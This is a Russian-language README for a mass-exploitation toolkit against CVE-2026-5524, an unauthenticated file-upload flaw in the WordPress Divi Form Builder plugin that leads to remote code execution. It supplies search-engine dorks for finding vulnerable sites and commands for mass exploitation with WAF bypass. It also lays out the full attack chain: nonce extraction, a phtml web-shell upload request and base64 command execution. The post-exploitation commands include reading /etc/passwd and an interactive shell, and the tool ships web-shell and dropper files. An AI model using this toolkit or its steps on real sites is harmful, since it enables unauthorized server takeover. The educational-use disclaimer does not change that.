CVE-2026-5524 — Удаленное выполнение кода без аутентификации в Divi Form Builder

Массовый эксплойт-инструментарий для CVE-2026-5524 — уязвимости произвольной загрузки файлов без аутентификации в плагине WordPress Divi Form Builder <= 5.1.8, приводящей к удаленному выполнению кода.

Содержание

• Описание
• Дорки
• Установка
• Использование
  • Одиночная цель
  • Массовый эксплойт
  • Продвинутая обходная техника
  • Выполнение команд
• Детали уязвимости
• Методы обхода
• Технический стек
• Структура проекта
• Схема атаки
• Отказ от ответственности

Описание

Плагин Divi Form Builder для WordPress содержит уязвимость произвольной загрузки файлов без аутентификации. Обработчик do_image_upload() передает управляемый пользователем POST-параметр acceptFileTypes напрямую в регулярное выражение, используемое для проверки расширений файлов. Указывая значение, например phtml, злоумышленник может обойти правило .htaccess плагина, которое блокирует только расширение .php, и загрузить веб-шелл с исполняемым PHP-расширением (.phtml, .phar, .php5, .php7 и подобные).

После размещения файла в /wp-content/uploads/de_fb_uploads/ Apache выполняет его как PHP, предоставляя злоумышленнику удаленное выполнение кода от имени пользователя веб-сервера.

Проблема исправлена в Divi Form Builder 5.1.9.

Дорки

FOFA

body="de_fb_obj" && body="fb_nonce"

Shodan

http.html:"de_fb_obj" http.html:"fb_nonce"

Google

inurl:"/wp-content/plugins/divi-form-builder/"

ZoomEye

app:"WordPress" && body:"de_fb_obj"

Censys

services.http.response.body: "de_fb_obj"

Установка

Требования: Python 3.8 или новее на Linux, macOS или WSL.

git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt

requirements.txt

requests>=2.28.0
urllib3>=1.26.0

Использование

Одиночная цель

python3 CVE-2026-5524.py -u https://target.com

Массовый эксплойт

python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20

Продвинутая обходная техника

Для целей, защищенных WAF (NinjaFirewall, Wordfence, ModSecurity) или с усиленной конфигурацией Apache или nginx.

python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug

Выполнение команд

После успешной загрузки скрипт может немедленно выполнить команду или перейти в интерактивный шелл.

python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell

Флаги

Детали уязвимости

Уязвимый код

Уязвимый обработчик создает регулярное выражение из пользовательского ввода без санитизации.

public function do_image_upload() {
    $accepted = $_POST['acceptFileTypes'];
    $pattern  = '/\\.(' . $accepted . ')$/i';

    if (preg_match($pattern, $filename)) {
        move_uploaded_file($tmp, $dest);
    }
}

Отправляя acceptFileTypes=phtml, итоговое выражение /\.(phtml)$/i сопоставляется с именами файлов, заканчивающимися на .phtml, хотя собственный файл .htaccess плагина блокирует только расширение .php. Apache затем выполняет загруженный файл как PHP, что приводит к удаленному выполнению кода.

Подтвержденная цепочка атаки

1. Обойти страницу, содержащую форму Divi Form Builder (/, /contact, /quote и т.д.). Добавить параметр ?nocache=<случайное> для обхода Varnish, WP Rocket и других кешей страниц, которые иначе будут выдавать устаревший nonce.

2. Извлечь значение fb_nonce из локализованного JavaScript-объекта:

   root@kitploit:~

   de_fb_obj = {"fb_nonce":"<10 hex-символов>", ...}
   

3. Отправить multipart-форму на /wp-admin/admin-ajax.php с параметрами:

   root@kitploit:~

   action=de_fb_image_upload
   fb_nonce=<nonce>
   acceptFileTypes=phtml
   [email protected]
   

4. Прочитать URL файла из JSON-ответа:

   root@kitploit:~

   {"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
   

5. Запросить шелл с командами в base64:

   root@kitploit:~

   curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
   

Методы обхода

Скрипт пробует каждую технику в порядке приоритета, а при установленном флаге --aggressive пытается все, даже если первая загрузка сообщает об успехе.

Технический стек

Скрипт эксплойта

Пользовательский шелл (bypass.phtml)

Структура проекта

cve-2026-5524/
|-- CVE-2026-5524.py          Основной скрипт эксплойта
|-- bypass.phtml              16-КБ многоуровневый PHP-веб-шелл
|-- htaccess_enable.phtml     Дроппер, записывающий повторно активирующий .htaccess
|-- user_ini.phtml            Дроппер, записывающий .user.ini для PHP-FPM
|-- targets.txt               Пример списка целей
|-- pwned.jsonl               Создается флагом -o при массовом сканировании
|-- requirements.txt          Python-зависимости
`-- README.md                 Этот документ

Схема атаки

+--------------------------------------------------+
| 1. Разведка                                      |
|    GET /?nocache=<случайное>                     |
|    Извлечь fb_nonce из de_fb_obj                 |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 2. Подготовка эксплойта                          |
|    POST /wp-admin/admin-ajax.php                 |
|    action=de_fb_image_upload                     |
|    acceptFileTypes=phtml                         |
|    [email protected]                             |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 3. Сервер принимает и сохраняет файл             |
|    /uploads/de_fb_uploads/<случайное>.phtml      |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 4. Выполнение                                    |
|    GET shell.phtml?x=base64(команда)             |
|    Удаленное выполнение кода достигнуто          |
+--------------------------------------------------+

Отказ от ответственности

Этот инструмент предназначен для образовательных целей и использования в рамках авторизованных тестов на проникновение. Примеры допустимого использования включают:

• Программы bug bounty, явно разрешающие тестирование цели
• Соревнования Capture the flag и выделенные лабораторные среды
• Внутренние оценки безопасности с письменного разрешения владельца ресурса
• Академические исследования безопасности, проводимые в контролируемой среде

Неавторизованное использование систем, которыми вы не владеете или на тестирование которых не имеете явного письменного разрешения, является незаконным практически во всех юрисдикциях и строго запрещено. Автор не поощряет и не несет ответственности за неправильное использование этого кода.

J'ai la permission et je suis autorisé à effectuer ce pentest. (У меня есть разрешение, и я уполномочен выполнять этот тест на проникновение.)

Вероятно применимы законы, включая Уголовный кодекс Индонезии (UU ITE), Американский закон о мошенничестве и злоупотреблении компьютерными данными (CFAA), Конвенцию Совета Европы о киберпреступности и аналогичное законодательство в других странах. В случае сомнений сначала получите письменное разрешение.

Лицензия

Только для образовательного использования. См. раздел отказа от ответственности для полных условий использования.